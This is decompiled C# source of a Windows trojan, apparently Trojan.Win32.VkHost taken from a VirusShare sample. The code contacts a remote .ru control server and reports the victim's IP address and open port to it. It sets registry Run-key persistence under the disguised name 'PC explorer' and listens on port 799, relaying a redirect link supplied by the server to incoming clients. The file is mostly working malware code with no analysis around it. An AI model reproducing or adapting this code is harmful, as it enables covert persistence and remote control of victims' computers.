// Decompiled with JetBrains decompiler // Type: ConsoleApplication1.Module1 // Assembly: WebServer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 043129F4-C961-4DF7-9AE5-51E1A9EDC384 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.VkHost.dvc-cebd5866bd3a8ab16d1ffbabeabc73e1b262382f3473ba551e2b95a3bcc567f3.exe using Microsoft.VisualBasic.CompilerServices; using Microsoft.Win32; using System; using System.Net; using System.Net.Sockets; using System.Threading; namespace ConsoleApplication1 { [StandardModule] internal sealed class Module1 { [STAThread] public static void Main() { WebClient webClient = new WebClient(); string str1 = "personal-iq-test.ru"; int num1; while (true) { num1 = 1; try { webClient.DownloadString("http://" + str1); break; } catch (Exception ex) { int lErl = num1; ProjectData.SetProjectError(ex, lErl); Thread.Sleep(5000); ProjectData.ClearProjectError(); } } TcpListener tcpListener = new TcpListener(799); Console.WriteLine("Сервер ждёт запроса от клиента"); tcpListener.Start(); string str2 = webClient.DownloadString("http://" + str1 + "/get_my_ip.php"); if (Operators.CompareString(webClient.DownloadString("http://" + str1 + "/test_port.php?ip=" + str2 + "&port=799"), "true", false) == 0) { Module1.Автозагрузка(); webClient.DownloadString("http://" + str1 + "/add_ip.php?ip=" + str2); string redirectLink = webClient.DownloadString("http://" + str1 + "/redirect_link.php"); while (true) { try { TcpClient Client = tcpListener.AcceptTcpClient(); Console.WriteLine("Server: Connection accepted."); int num2; checked { ++num2; } new Thread(new ThreadStart(new ClientHandler(Client, "Client " + num2.ToString(), redirectLink).Start)) { IsBackground = true }.Start(); } catch (Exception ex) { int lErl = num1; ProjectData.SetProjectError(ex, lErl); Console.WriteLine(ex.ToString()); ProjectData.ClearProjectError(); } } } else webClient.DownloadString("http://" + str1 + "/add_stat_ip.php?ip=" + str2); } private static void Автозагрузка() { try { Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("PC explorer", (object) (Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\drivers\\etc\\WebServer.exe")); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } } }